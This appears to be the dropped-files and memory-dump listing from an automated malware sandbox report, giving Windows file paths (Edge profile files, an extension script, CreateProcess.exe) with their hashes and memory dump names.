OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a4930.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a4930.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 11f6258af9c8745827d034d2e0baac9e664d8112a1c83a347cc926c506ca9982
MD5 5315fbdc34c5674505d212bb8592911a
SHA1 33bbe5a63fe5f0b4749aebf9d7978d8d5d0a9357
SHA512 b699ece031c54670651b816c81a864795a6595201db12fdcb06e9c5a2abc4d3285120b8d6bff79e1c953bf299944c717f6c51b90b429902a972e60534e06cfa9
SSDEEP 768:T/UxvxjgC+63Kp++uSFaj5HtixsnqMwQi5BgK5/CwYcZl2sI+l:mZj3+63CX2isVmBg8/dr2sFl
TLSH
T1B203C036ECB59DB35CFE9114B68663C7EFF42563D88609A884EA5E0E06836DD134BC07
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 210878a52bcd81942c9f7ffcd4f624d28b2cce4cd80181f164779750cf733e92
MD5 cb4b286f8f78bd5b555135803f6f1959
SHA1 4c584554af6de6122256aa4e9eb06edb70e9bfaa
SHA512 e756b8927f7757dfe1ee8f278a62129f236c046d0994ce0a25fb204d9eba7606f6976c2b70aed1b357ded954f027ac1504c62d12d77619c3b801c4c83cf2f5a9
SSDEEP 768:E33Jpg+uSFaj5HtixBnqMwQi5BgK5/CwYcZl2sIVu:E33752iBVmBg8/dr2sGu
TLSH
T18FF2BE31ECB58DB75CFE9154B6827787AFF46267D8850998C4EA5B0E0183AAE130BC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 42KB
SHA256 e64c9c6a3df68a34513bc94812d774ec0e7332a1d36dd4bf05e40b1a309ac9f3
MD5 353026c1102afda186af7da8d940c6c5
SHA1 2d4c50bceeb123b348ff4880e6f2b04738de2da1
SHA512 a3bb053bf4662443c371e985e8a5881c1bc4f09bb69c96e9785616b82ff93dcbca4193e84c51d71891ae89d389dffd1956274e280d2580160b8a7d591cb9660d
SSDEEP 768:bFQU3YwgQpi+u5laj5HtixfqnqMwQi5BgK5/CwYcZl2sIVu:uU3xzPifqVmBg8/dr2sGu
TLSH
T1701317F298E78977E8AE4743A77D6E469EBCD153B4884884B7D95D0DCC825BFC30A801
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 288cc7e799c4fcd135a680b5b93d7d51822f6d09d4571e54ea88b6502c9c646f
MD5 6fa79398edddddbe407d81850c51d86a
SHA1 b1a43e2f22fadddd6ccb7ec8a9cc3e2d440a2ed8
SHA512 8ea9435ced8ee9d2af6349a1d4765740bc5efcdd62595d99af1f6ec380640e92ce4eb424f2a696ed503ac6592bf0da8047a7720ec1fdb03da267d83676093875
SSDEEP 768:v33Kpg+uSFaj5HtixBnqMwQi5BgK5/CwYcZl2sIVu:v33C52iBVmBg8/dr2sGu
TLSH
T1E4F2AE31ECB5CDB75CFE9154B6827787AFF46267D8850998C4EA5B0E0183AAE130BC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

3366826d-45c4-449c-b17b-1038650ddd87.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3366826d-45c4-449c-b17b-1038650ddd87.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5464_1197607582\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 7d312b2b41fea4c60431f7759620ba4cc99cbea11cbd7f97ae7d145634bcdce4
MD5 3de481ea0033a2b9af52202f366ef834
SHA1 61f9a1a74a6e334f24c1c4cc977aadabefe5acdf
SHA512 38a5ba2d493ce4a75a5d9b4b46735985b5102c038adc2a065d968d578157ca2c3cc85afbe944ddaf3fc86d07c5b97e9036f0698e94ea9e2015627c83608a0b1f
TLSH
T10671238357B9C9B3C1DE5FF502835204F6FB2238472370200BA1558AAB30B7A64B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1056-336-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1136-187-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1336-502-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2212-64-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2408-393-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2432-499-0x0000000000410000-0x000000000046F000-memory.dmp

Download

memory/2480-459-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2724-287-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2936-274-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3096-316-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3276-454-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3336-318-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3336-312-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3368-366-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3504-434-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4388-262-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4560-406-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5320-497-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5684-477-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5688-362-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5688-332-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5772-423-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6056-234-0x0000000000010000-0x00000000000AB000-memory.dmp

Download